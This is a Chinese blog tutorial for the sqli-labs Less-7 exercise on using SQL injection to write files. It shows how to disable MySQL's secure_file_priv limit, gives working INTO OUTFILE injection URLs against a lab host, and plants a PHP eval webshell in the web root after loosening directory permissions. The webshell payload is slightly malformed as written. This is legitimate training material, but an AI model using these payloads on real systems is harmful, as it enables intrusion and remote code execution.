Less-7 Dump into outfile sql注入读写文件
SQL语句只要正确就会输出 You are in … 错误就会输出You have an error in your SQL syntax
本例主要练习SQL注入读写文件
1、先了解一个语句:
into outfile 语句用于把表数据导出到一个文本文件中
要想mysql用户对文件进行导入导出,首先要看指定的权限目录
mysql 新版本下secure_file_priv参数是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的。
secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制
查看secure-file-priv参数的值:
show global variables like ‘%secure%’;

可以看到默认的目录是/var/lib/mysql-files/
修改my.conf文件,在[mysqld]下面添加一条语句:
secure_file_priv =

修改配置文件my.conf后,看到就没有限制了,重启数据库生效,
2、SQL语句演示:
导出文件
根据此题情况,需要用到 into outfile 语句
语句演示:
select * from users into outfile “/var/lib/mysql-files/users.txt”;

cat /var/lib/mysql-files/users.txt

可以看到,查询到的内容已保存到指定的文件中。
3、实际应用
执行语句:
http://192.168.195.110/sqli-labs/Less-7/?id=-1%27))%20union%20select%201,%22hello%20world%22,3%20into%20outfile%20%22/var/lib/mysql-files/users2.txt%22%20–%20+
##查看配置文件得知闭合方式是 '))
将hello world写入到指定文件user2.txt中

目录下面已经新建了user2.txt并将内容写入成功。

此时我们可以将hello world换成一句话木马,然后通过蚁剑进行连接
http://192.168.195.110/sqli-labs/Less-7/?id=-1%27))%20union%20select%201,%22<php? @eval($_POST[‘123’]);?>%22,3%20into%20outfile%20%22/var/www/html/sqli-labs/user3.php%22%20–%20+
发现语句并没有写入成功,因为网站的根目录是/var/www/html/sqli-labs
目录的所有者和所属组都是apache,mysql对此目录没有写权限

给此目录的其他用户加上写权限
chmod o+w sqli-labs

然后再执行语句,此时成功写入,并可以成功连接。



注:
1、要先了解mysql可操作的目录
2、要想写入到指定目录,还需要对此目录有写权限
本文介绍如何利用SQL注入技术进行文件读写操作,包括使用intooutfile语句导出数据到文件,以及如何确保MySQL用户有正确的权限进行此类操作。
981

被折叠的 条评论
为什么被折叠?



